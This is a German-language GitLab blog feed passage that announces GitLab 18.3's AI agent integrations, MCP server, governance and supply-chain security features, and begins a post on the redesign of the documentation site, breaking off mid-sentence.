<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111796316?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab_18.3 Release_081925_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Neu in GitLab 18.3</h2>
<p>Mit 18.2 haben wir spezialisierte <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box">KI-Agenten</a> eingeführt, die Entwicklern über den gesamten Software-Entwicklungslebenszyklus hinweg zur Seite stehen, sowie unseren <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta">Software Development Flow</a> – eine leistungsstarke Funktion, die Nutzenden die Möglichkeit gibt, mehrere Agenten zu orchestrieren, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen.</p>
<p>GitLab 18.3 führt erweiterte Integrationen und Interoperabilität, mehr Flows und verbesserte Kontextwahrnehmung über den gesamten Software-Entwicklungslebenszyklus ein.</p>
<h3>Erweiterte Integrationen und Interoperabilität</h3>
<p>Wir bieten umfassende KI-Erweiterbarkeit sowohl durch erstklassige GitLab-Agenten als auch durch ein reiches Ökosystem von Drittanbieter-Agenten, alle mit vollem Zugriff auf Projektkontext und -daten. Dieser Ansatz erhält native GitLab-Workflows und Governance und bietet gleichzeitig die Flexibilität, bevorzugte Tools durch hochintegrierte Orchestrierung zwischen diesen Agenten und der GitLab-Kernplattform zu wählen. Teams erhalten erweiterte KI-Funktionalität bei gleichzeitiger Beibehaltung wichtiger Integrations-, Überwachungs- und Benutzererfahrungsvorteile.</p>
<ul>
<li>
<p><strong>MCP-Server - Universelle KI-Integration:</strong> Der GitLab MCP-Server (<a href="https://about.gitlab.com/de-de/topics/ai/model-context-protocol/">Model Context Protocol</a>) ermöglicht es KI-Systemen, sich sicher direkt in GitLab-Projekte und Entwicklungsprozesse zu integrieren. Diese standardisierte Schnittstelle eliminiert den Aufwand für benutzerdefinierte Integrationen und ermöglicht es KI-Tools – einschließlich <a href="https://docs.cursor.com/en/tools/mcp">Cursor</a> –, intelligent innerhalb der bestehenden GitLab-Umgebung zu arbeiten. Siehe unsere <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/">Dokumentation</a> für eine vollständige Liste der in 18.3 enthaltenen Tools. <strong>Dies ist erst der Anfang; weitere Tools sind für 18.4 geplant.</strong></p>
<p><strong>Hinweis:</strong> Drittanbieter-Agenten sind GitLab Premium Beta-Funktionen und nur für GitLab Duo Enterprise-Kunden zur Evaluierung verfügbar.</p>
</li>
</ul>
<blockquote>
<p><em>&quot;GitLab-Workflows direkt in Cursor zu bringen, ist ein entscheidender Schritt zur Reduzierung von Reibung für Entwickler. Durch die Minimierung des Kontextwechsels können Teams den Issue-Status überprüfen, Merge Requests einsehen und Pipeline-Ergebnisse überwachen, ohne jemals ihre Programmierumgebung zu verlassen. Diese Integration ist eine natürliche Ergänzung für unsere gemeinsamen Kunden, und wir freuen uns auf eine langfristige Partnerschaft mit GitLab, um die Entwicklerproduktivität weiter zu steigern.&quot;</em></p>
<p>- <strong>Ricky Doar, VP of Field Engineering bei Cursor</strong></p>
<p><em>&quot;Der MCP-Server und die CLI-Agent-Unterstützung von GitLab schaffen leistungsstarke neue Wege für die Integration von Amazon Q in Entwicklungsworkflows. Amazon Q Developer kann sich jetzt direkt über die Remote-MCP-Schnittstelle von GitLab verbinden, während Teams Entwicklungsaufgaben delegieren können, indem sie Amazon Q CLI einfach in Issues und Merge Requests mit @ erwähnen. Die robusten Sicherheits- und Governance-Funktionen, die in diese Integrationen integriert sind, geben Unternehmen das Vertrauen, KI-Coding-Tools zu nutzen und gleichzeitig ihre Entwicklungsstandards zu bewahren. Die Partnerschaft mit GitLab zeigt das kontinuierliche Engagement von AWS, das KI-Ökosystem zu erweitern und intelligente Entwicklungstools überall dort zugänglich zu machen, wo Entwickler arbeiten.&quot;</em></p>
<p>- <strong>Deepak Singh, Vice President of Developer Agents and Experiences bei AWS</strong></p>
</blockquote>
<ul>
<li><strong>CLI-Agent-Unterstützung für Claude Code, Codex, Amazon Q, Google Gemini und opencode (Bring Your Own Key):</strong> 18.3 führt Integrationen ein, die es Teams ermöglichen, routinemäßige Entwicklungsarbeit zu delegieren, indem sie ihre Agenten direkt in Issues oder Merge Requests mit @ erwähnen. Wenn Entwickler diese KI-Assistenten erwähnen, lesen sie automatisch den umgebenden Kontext und Repository-Code und antworten dann auf den Kommentar des Nutzers entweder mit überprüfungsreifen Code-Änderungen oder Inline-Kommentaren. Diese Integrationen erfordern einen eigenen API-Schlüssel für die jeweiligen KI-Anbieter und halten alle Interaktionen nativ innerhalb der GitLab-Oberfläche, während gleichzeitig ordnungsgemäße Berechtigungen und Audit-Trails beibehalten werden.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111784124?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Third Party Agents Flows Claude Code&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p><em>&quot;Claude Code direkt in GitLab zu bringen, bringt KI-Unterstützung dorthin, wo Millionen von Entwicklern bereits täglich zusammenarbeiten und Code liefern. Die Möglichkeit, Claude direkt in Issues und Merge Requests zu erwähnen, beseitigt Reibung und behält gleichzeitig die Qualität durch menschliche Aufsicht und Überprüfungsprozesse bei. Dieses Update bringt die Fähigkeiten von Claude Code an mehr Orte, an denen Teams arbeiten, und macht KI zu einem natürlichen Teil ihres Entwickler-Workflows.&quot;</em></p>
<p><strong>- Cat Wu, Claude Code Product Lead, Anthropic</strong></p>
<p><em>&quot;Mit der neuen Agenten-Integration von GitLab in 18.3 können Sie opencode innerhalb Ihrer bestehenden Workflows verwenden. Sie können opencode in einem Issue oder Merge Request mit @erwähnen und es führt Ihren Agenten direkt in Ihrer CI-Pipeline aus. Diese Möglichkeit, opencode so zu konfigurieren und auszuführen, wie Sie es möchten, ist die Art von Integration, von der wir wissen, dass die Open-Source-Community sie wirklich schätzt.&quot;</em></p>
<p><strong>- Jay V., CEO, opencode</strong></p>
</blockquote>
<ul>
<li><strong>Agentic Chat-Unterstützung für Visual Studio IDE und GitLab UI für alle Premium- und Ultimate-Kunden verfügbar:</strong> Mit 18.3 müssen Sie nicht mehr zwischen Tools wechseln, um auf die vollständigen Entwicklungslebenszyklus-Daten von GitLab zuzugreifen. Die erweiterten Integrationen bringen die volle Leistung von GitLab Duo sowohl in die GitLab-Benutzeroberfläche als auch in IDEs – die Unterstützung wird von JetBrains und VS Code auf Visual Studio erweitert. Dies hilft Entwicklern, im Flow zu bleiben und gleichzeitig auf reichhaltigen Projektkontext, Deployment-Historie und Team-Kollaborationsdaten direkt in ihrer bevorzugten Umgebung zuzugreifen.</li>
<li><strong>Erweiterte KI-Modell-Unterstützung:</strong> GitLab Duo Self-Hosted unterstützt jetzt zusätzliche KI-Modelle und gibt Teams mehr Flexibilität in ihren KI-unterstützten Entwicklungsworkflows. Sie können jetzt Open-Source-OpenAI-GPT-Modelle (20B und 120B Parameter) über vLLM auf Ihrer Rechenzentrums-Hardware oder über Cloud-Services wie Azure OpenAI und AWS Bedrock in Ihrer privaten Cloud bereitstellen. Zusätzlich ist Anthropics Claude 4 auf AWS Bedrock verfügbar.</li>
</ul>
<h3>Neue automatisierte Entwicklungs-Flows</h3>
<p>GitLab Flows koordinieren mehrere KI-Agenten mit vordefinierten Anweisungen, um diese zeitaufwändigen, alltäglichen Aufgaben autonom zu erledigen, damit sich Entwickler auf die wirklich wichtige Arbeit konzentrieren können.</p>
<p>GitLab 18.3 kommt mit zwei neuen Flows:</p>
<ul>
<li><strong>Issue to MR Flow ermöglicht automatisierte Code-Generierung vom Konzept bis zur Fertigstellung in Minuten:</strong> Dieser Flow konvertiert automatisch Issues in umsetzbare Merge Requests (MRs), indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und produktionsreifen Code zu generieren, der zur Überprüfung bereit ist – und verwandelt Ideen in überprüfbare Implementierungen in Minuten, nicht Stunden.</li>
</ul>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111782058?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Issue to MR&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Convert CI File Flow für nahtlose Migrationsintelligenz:</strong> Der Convert CI File Flow rationalisiert Migrationsworkflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren. Dies eliminiert den manuellen Aufwand und potenzielle Fehler beim Neuschreiben von CI-Konfigurationen von Grund auf und ermöglicht es Teams, ganze Deployment-Pipelines mit Vertrauen zu migrieren. 18.3 umfasst Unterstützung für Jenkins-Migrationen. Zusätzliche Unterstützung ist für zukünftige Versionen geplant.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783724?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Convert to CI Flow&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h3>Intelligenter Code und Suche</h3>
<p>KI-Punktlösungen arbeiten typischerweise mit begrenzter Sichtbarkeit in isolierte Code-Schnipsel, aber der Knowledge Graph von GitLab bietet Agenten Umgebungskontext, um schnellere und intelligentere Antworten zu ermöglichen.</p>
<ul>
<li><strong>Knowledge Graph für Echtzeit-Code-Intelligenz:</strong> Mit 18.3 liefert der Knowledge Graph von GitLab jetzt Echtzeit-Code-Indizierung für schnellere Code-Suchen und liefert genauere und kontextbezogene Ergebnisse. Durch das Verständnis der Beziehungen zwischen Dateien, Abhängigkeiten und Entwicklungsmustern über die gesamte Codebasis hinweg sind die Agenten darauf ausgelegt, Einblicke zu liefern, die menschliche Entwickler Stunden kosten würden – <strong>und dies ist nur der erste Schritt zur Erschließung der leistungsstarken Funktionen, die für den Knowledge Graph geplant sind.</strong></li>
</ul>
<h3>Enterprise Governance</h3>
<p>KI-Transparenz und organisatorische Kontrolle sind kritische Herausforderungen, die Teams davon abhalten können, KI-gestützte Entwicklungstools vollständig zu übernehmen, wobei <a href="https://about.gitlab.com/de-de/software-innovation-report/">85% der Führungskräfte zustimmen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird</a>.</p>
<p>Diese neuen Funktionen in 18.3 helfen, Bedenken hinsichtlich Daten-Governance, Compliance-Anforderungen und dem Bedarf an Transparenz in KI-Entscheidungsprozessen zu adressieren, damit Organisationen KI innerhalb ihrer bestehenden Sicherheits- und Policy-Frameworks integrieren können.</p>
<ul>
<li><strong>Agent Insights für Transparenz durch Intelligenz:</strong> Das integrierte Agenten-Tracking bietet Einblick in die Entscheidungsprozesse von Agenten. Nutzende können Workflows optimieren und Best Practices durch transparentes Activity-Tracking befolgen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783244?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Insights&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Code Review für Self-Hosted:</strong> Dies bringt die Intelligenz von GitLab Duo zu Organisationen mit strengen Daten-Governance-Anforderungen, indem Teams sensiblen Code in kontrollierten Umgebungen behalten können.</li>
<li><strong>Hybrid-Modell-Konfigurationen für flexible KI-Bereitstellung:</strong> GitLab Duo Self-Hosted-Kunden können jetzt Hybrid-Modell-Konfigurationen verwenden, die selbst gehostete KI-Modelle über ihr lokales KI-Gateway mit den Cloud-Modellen von GitLab über das KI-Gateway von GitLab kombinieren und so Zugriff auf verschiedene Funktionen ermöglichen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783569?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Self Hosted Models Code Review&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Erweiterte Sicherheit mit OAuth-Unterstützung:</strong> Der MCP-Server umfasst jetzt vollständige OAuth 2.0-Authentifizierungsunterstützung, die sichere Verbindungen zu geschützten Ressourcen und sensiblen Entwicklungsumgebungen ermöglicht. Diese Implementierung folgt dem Entwurf der OAuth-Spezifikation für MCP und behandelt Autorisierungsflows, Token-Verwaltung und dynamische Client-Registrierung.</li>
</ul>
<h3>Secure by Design-Plattform: Governance, die skaliert</h3>
<p>Echte Plattformsicherheit erfordert die konsistente Anwendung von Governance-Prinzipien über jede Ebene des Entwicklungslebenszyklus. Die gleichen Sicherheitsgrundlagen, die die KI-Adoption sicher machen – Least-Privilege-Zugriff, zentralisiertes Policy-Management, proaktive Überwachung und granulare Berechtigungen – müssen im gesamten SDLC eingebettet sein, um einen kohärenten Defense-in-Depth-Ansatz zu schaffen.</p>
<p>GitLab 18.3 stärkt die grundlegenden Kontrollen, die zum Schutz der gesamten Software-Supply-Chain beitragen, mit diesen neuen Updates:</p>
<ul>
<li><strong>Benutzerdefinierte Admin-Rolle:</strong> Bietet granulare, zweckgebundene administrative Berechtigungen und ersetzt pauschalen Admin-Zugriff durch präzise Least-Privilege-Kontrollen. Anstatt pauschale administrative Privilegien zu gewähren, die Sicherheitsrisiken schaffen, können Organisationen jetzt spezialisierte Rollen erstellen, die auf spezifische Funktionen zugeschnitten sind – Plattform-Teams, die Runner und Monitoring verwalten, Support-Teams, die die Benutzerverwaltung handhaben, und Führungskräfte, die auf Dashboards und Nutzungsstatistiken zugreifen. Mit vollständigem Rollen-Lifecycle-Management über UI und API, Audit-Logging und automatisch generierter Dokumentation ermöglicht diese Funktion echte Least-Privilege-Administration bei gleichzeitiger Aufrechterhaltung der operativen Effizienz und Verbesserung der allgemeinen Instanzsicherheit.</li>
<li><strong>Compliance-Framework und Sicherheits-Policy-Management auf Instanzebene:</strong> Organisationen können jetzt eine dedizierte Compliance-Gruppe bestimmen, die die Befugnis hat, standardisierte Frameworks und Sicherheitsrichtlinien direkt auf Top-Level-Gruppen anzuwenden und die Durchsetzung automatisch auf alle ihre Untergruppen und Projekte zu kaskadieren. Dieser zentralisierte Ansatz eliminiert den Compliance-Adoptionsblocker des fragmentierten Policy-Managements bei gleichzeitiger Beibehaltung der Gruppenautonomie für zusätzliche lokale Richtlinien.</li>
<li><strong>Erweiterte Verletzungsberichte:</strong> Teams erhalten jetzt sofortige Benachrichtigungen, wenn nicht autorisierte Änderungen an MR-Genehmigungsregeln vorgenommen werden, Framework-Richtlinien keine ordnungsgemäßen Genehmigungen haben oder zeitbasierte Compliance-Kontrollen verletzt werden. Durch die direkte Verknüpfung von Verletzungen mit spezifischen Compliance-Framework-Kontrollen erhalten Teams umsetzbare Einblicke, die genau zeigen, welche Anforderung verletzt wurde, und verwandeln Compliance von einer reaktiven Checkbox-Übung in einen proaktiven, integrierten Teil des Entwicklungs- und Sicherheitsworkflows.</li>
<li><strong>Fein abgestimmte Berechtigungen für CI/CD-Job-Token:</strong> Ersetzt breiten Token-Zugriff durch granulare, explizite Berechtigungen, die CI/CD-Jobs nur Zugriff auf die spezifischen API-Endpunkte gewähren, die sie tatsächlich benötigen. Anstatt Jobs pauschalen Zugriff auf Projektressourcen zu gewähren, können Teams jetzt präzise Berechtigungen für Deployments, Pakete, Releases, Umgebungen und andere kritische Ressourcen definieren, wodurch die Angriffsfläche und das Potenzial für Privilegieneskalation reduziert werden.</li>
<li><strong>AWS Secrets Manager-Integration:</strong> Teams, die AWS Secrets Manager verwenden, können jetzt Secrets direkt in GitLab CI/CD-Jobs abrufen, was die Build- und Deploy-Prozesse vereinfacht. Secrets werden von einem GitLab Runner über OpenID Connect-protokollbasierte Authentifizierung abgerufen, maskiert, um Exposition in Job-Logs zu verhindern, und nach Gebrauch zerstört. Dieser Ansatz eliminiert die Notwendigkeit, Secrets in Variablen zu speichern, und integriert sich nahtlos in bestehende GitLab- und AWS-basierte Workflows. In enger Zusammenarbeit mit der Deutschen Bahn und dem AWS Secrets Manager-Team entwickelt, spiegelt diese Integration unser Engagement wider, Lösungen gemeinsam mit Kunden zu entwickeln, um reale Herausforderungen zu lösen.</li>
</ul>
<h3>Artifact Management: Sicherung der Software-Supply-Chain</h3>
<p>Wenn Artefakte nicht ordnungsgemäß verwaltet werden, können kleine Änderungen große Konsequenzen haben. Veränderbare Pakete, überschriebene Container-Images und inkonsistente Regeln über Tools hinweg können Produktionsausfälle auslösen, Schwachstellen einführen und Compliance-Lücken schaffen. Für Enterprise DevSecOps ist sicheres, zentralisiertes Artifact Management unerlässlich, um die Software-Supply-Chain intakt zu halten.</p>
<h4>Enterprise-Grade-Artifact-Schutz in 18.3</h4>
<p>Aufbauend auf den umfassenden Package-Protection-Funktionen fügt GitLab 18.3 wichtige neue Funktionen hinzu:</p>
<ul>
<li><strong>Conan-Revisions-Unterstützung:</strong> Neu in 18.3 bieten <a href="https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions">Conan-Revisionen</a> Paket-Unveränderlichkeit für C++-Entwickler. Wenn Änderungen an einem Paket vorgenommen werden, ohne seine Version zu ändern, berechnet Conan eindeutige Identifikatoren, um diese Änderungen zu verfolgen, wodurch Teams unveränderliche Pakete beibehalten können, während die Versionsklarheit erhalten bleibt.</li>
<li><strong>Erweiterte Container Registry-Sicherheit:</strong> Nach der erfolgreichen Einführung von <a href="https://docs.gitlab.com/user/packages/container_registry/immutable_container_tags/">unveränderlichen Container-Tags</a> in 18.2 sehen wir eine starke Unternehmensadoption. Sobald ein Tag erstellt wird, das einer unveränderlichen Regel entspricht, kann niemand – unabhängig von der Berechtigungsebene – dieses Container-Image ändern, wodurch unbeabsichtigte Änderungen an Produktionsabhängigkeiten verhindert werden.</li>
</ul>
<p>Diese Verbesserungen ergänzen die bestehenden Schutzfunktionen für npm, PyPI, Maven, NuGet, Helm-Charts und generische Pakete und ermöglichen es Plattform-Teams, konsistente Governance über ihre gesamte Software-Supply-Chain zu implementieren – eine Anforderung für Organisationen, die sichere interne Entwicklerplattformen aufbauen.</p>
<p>Im Gegensatz zu eigenständigen Artifact-Lösungen eliminiert der integrierte Ansatz von GitLab den Kontextwechsel zwischen Tools und bietet gleichzeitig End-to-End-Nachverfolgbarkeit vom Code bis zur Bereitstellung, wodurch Plattform-Teams konsistente Governance über ihre gesamte Software-Delivery-Pipeline implementieren können.</p>
<h3>Embedded Views: Echtzeit-Sichtbarkeit und Berichte</h3>
<p>Da GitLab-Projekte an Komplexität zunehmen, navigieren Teams zwischen Issues, Merge Requests, Epics und Meilensteinen, um die Sichtbarkeit des Arbeitsstatus aufrechtzuerhalten. Die Herausforderung liegt darin, diese Informationen effizient zu konsolidieren und gleichzeitig sicherzustellen, dass Teams Echtzeitzugriff auf den Projektfortschritt haben, ohne den Kontext zu wechseln oder ihren Flow zu unterbrechen.
<strong>Start der Echtzeit-Arbeitsstatussichtbarkeit in 18.3</strong>
Die <a href="https://docs.gitlab.com/user/glql/#embedded-views">Embedded Views von GitLab 18.3, unterstützt durch die leistungsstarke GitLab Query Language</a> (GLQL), eliminieren den Kontextwechsel, indem sie Live-Projektdaten direkt in den Workflow bringen:</p>
<ul>
<li><strong>Dynamische Ansichten:</strong> Fügen Sie Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests ein, die sich automatisch mit aktuellen Projektzuständen aktualisieren, jedes Mal wenn Sie die Seite laden.</li>
<li><strong>Kontextuelle Personalisierung:</strong> Ansichten passen sich automatisch mit Funktionen wie <code>currentUser()</code> und <code>today()</code> an, um relevante Informationen für den jeweiligen Betrachter anzuzeigen, ohne manuelle Konfiguration.</li>
<li><strong>Leistungsstarke Filterung:</strong> Filtern Sie nach 25+ Feldern, einschließlich Assignee, Autor, Label, Meilenstein, Gesundheitsstatus und Erstellungsdatum.</li>
<li><strong>Anzeigeflexibilität:</strong> Präsentieren Sie Daten als Tabellen, Listen oder nummerierte Listen mit anpassbarer Feldauswahl, Artikelbegrenzungen und Sortierreihenfolgen, um die Ansichten fokussiert und umsetzbar zu halten.</li>
</ul>
<p>Im Gegensatz zu fragmentierten Projektmanagement-Ansätzen wurden Embedded Views so konzipiert, dass sie die Workflow-Kontinuität beibehalten und gleichzeitig Echtzeit-Sichtbarkeit bieten, wodurch Teams fundierte Entscheidungen treffen können, ohne den Fokus zu verlieren oder zwischen mehreren Tools und Schnittstellen zu wechseln.</p>
<blockquote>
<p>Erfahre mehr über die <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">neuesten Funktionen in GitLab 18.3</a>.</p>
</blockquote>
<h2>Jetzt starten</h2>
<p>GitLab 18.3 ist jetzt für GitLab Premium- und Ultimate-Nutzende auf GitLab.com und in selbstverwalteten Umgebungen verfügbar.</p>
<p>GitLab Dedicated-Kunden wurden jetzt auf 18.2 aktualisiert und können die mit GitLab 18.3 veröffentlichten Funktionen nächsten Monat nutzen.</p>
<p>Bereit, die Zukunft des Software Engineering zu erleben? <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">Aktiviere Beta- und experimentelle Funktionen für GitLab Duo</a> und beginne die Zusammenarbeit mit KI-Agenten, die den vollständigen Entwicklungskontext verstehen.</p>
<p>Neu bei GitLab? <a href="https://gitlab.com/-/trials/new">Starte noch heute die kostenlose Testversion</a> und entdecke, warum die Zukunft des Software Engineering in der Zusammenarbeit zwischen Mensch und KI liegt, orchestriert durch die weltweit umfassendste DevSecOps-Plattform.</p>
<p>&lt;p&gt;&lt;small&gt;&lt;em&gt;Dieser Blogbeitrag enthält &quot;zukunftsgerichtete Aussagen&quot; im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den zukünftigen Ergebnissen oder Resultaten abweichen, die in den zukunftsgerichteten Aussagen ausgedrückt oder impliziert werden.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von denen abweichen, die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthalten oder berücksichtigt werden, finden Sie unter der Überschrift &quot;Risikofaktoren&quot; und an anderen Stellen in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu revidieren oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, außer wenn dies gesetzlich vorgeschrieben ist.&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wir haben die GitLab-Dokumentationsseite komplett redesigned]]></title>
        <id>https://about.gitlab.com/de-de/blog/docs-site-design-overhaul/</id>
        <link href="https://about.gitlab.com/de-de/blog/docs-site-design-overhaul/"/>
        <updated>2025-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die GitLab-Dokumentationsseite hat jetzt ein völlig neues Look-and-Feel.
Was als Anfrage für gezielte Design-Fixes begann, wurde zu einem umfassenden Redesign mit vier wichtigen Verbesserungen:</p>
<p><strong>Auch und gerade für deutsche Entwicklungsteams:</strong> Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.</p>
<h2>Die vier wichtigsten neuen Features</h2>
<p><strong>Der Dark Mode</strong>: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln
für bessere Lesbarkeit und weniger Augenbelastung.</p>
<p><strong>Die Redesigned Navigation</strong>: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten
weniger überwältigend und besser auffindbar sind.</p>
<p><strong>Das Simplified Feedback</strong>: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.</p>
<p><strong>Die Technical Debt Fixes</strong>: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen,
die wir über die Jahre gesammelt haben.</p>
<p>Die Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.</p>
<h2>Warum jetzt? Das Fundament für Veränderung</h2>
<p>Anfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt
und von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds
und 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.</p>
<p>Mit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.</p>
<p>Schauen wir uns die Änderungen genauer an.</p>
<h3>Dark Mode</h3>
<p>Möglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar.
Du änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz.
Für viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png" alt="image of dark mode"></p>
<h3>Redesigned Navigation</h3>
<p>Wir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden.
Unsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png" alt="image of former navigation"></p>
<p>Der neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png" alt="image of new navigation"></p>
<p>So zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.</p>
<h3>Simplified Feedback Mechanism</h3>
<p>Wir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen,
